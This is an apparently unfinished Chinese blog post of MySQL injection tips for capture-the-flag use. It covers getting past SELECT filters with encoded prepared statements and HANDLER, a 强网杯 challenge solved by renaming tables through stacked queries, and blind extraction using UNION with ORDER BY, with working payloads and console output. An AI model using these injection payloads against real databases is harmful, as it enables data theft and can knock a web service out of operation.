Mysql 注入的一些tips

用来总结Mysql注入的一些奇技淫巧

No Select

不使用select情况下的注入

预处理

当注入语句可以多行执行的时候可以采用预处理的形式。

1
2
3
set @s = "select * from users";
prepare t from @s;
execute t;

在select被拦截的情况下,可以将@s的值编码处理绕过

十六进制编码

1
set @s =  0x73656c656374202a2066726f6d2075736572733b;

或者是采用char

1
set @s = char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115);

当然也可以使用concat

1
set @sql=concat('sel','ect * from users');

需要注意的是在prepare语句中如果不是采用变量的形式,不能用编码,例如

1
2
mysql> prepare t from char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115)' at line 1

同样是在可多行执行的情况下,在已知列名和表名的基础上,可以通过修改表名来获取想要的数据,不过这种方法危害极大可能导致web服务无法正常运行。

以强网杯的一道题为例

对select进行了拦截

1
preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

通过show tables以及desc table的形式了解到存在两个表,1919810931114514以及 words,而flag在1919810931114514表中

所以一口气把words表修改为words1,把1919810931114514修改为words,同时,要给1919810931114514表增加一个id字段,总的payload就是

1
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` add id int;

再使用' or '1'='1进行查询即可得到flag。

此外,还有另一种方法,handler

1
2
3
4
handler table_name open;
handler table_name read first;
handler table_name read next;
handler table_name close;

Union

盲注

Union Select没有被拦截,无疑是一件快乐的事,但如果括号和@不能用呢?

这个时候可以采用结合order by进行盲注的形式获取数据

不使用order by 情况下的查询

1
2
3
4
5
6
7
8
mysql> select * from flag union select 1,2,3;
+----+-----------------+---------------------+
| id | submission_date | flag |
+----+-----------------+---------------------+
| 1 | NULL | flag{just_for_test} |
| 1 | 2 | 3 |
+----+-----------------+---------------------+
2 rows in set (0.00 sec)

因为order by 是根据ascii顺序进行排序的,所以当我们按第三列来进行排序

1
2
3
4
5
6
7
8
mysql> select * from flag union select 1,2,3 order by 3;
+----+-----------------+---------------------+
| id | submission_date | flag |
+----+-----------------+---------------------+
| 1 | 2 | 3 |
| 1 | NULL | flag{just_for_test} |
+----+-----------------+---------------------+
2 rows in set (0.00 sec)

那么如何利用这一点进行注入呢?

假设submission_date可以在页面中被观察到,我们可以通过改变union select第三列的值来根据回显判断flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from flag union select 1,2,'f' order by 3;
+----+-----------------+---------------------+
| id | submission_date | flag |
+----+-----------------+---------------------+
| 1 | 2 | f |
| 1 | NULL | flag{just_for_test} |
+----+-----------------+---------------------+
2 rows in set (0.00 sec)

mysql> select * from flag union select 1,2,'g' order by 3;
+----+-----------------+---------------------+
| id | submission_date | flag |
+----+-----------------+---------------------+
| 1 | NULL | flag{just_for_test} |
| 1 | 2 | g |
+----+-----------------+---------------------+
2 rows in set (0.00 sec)

未完待续

我要谈儿女情长,谈国家这种小事就先放一边啦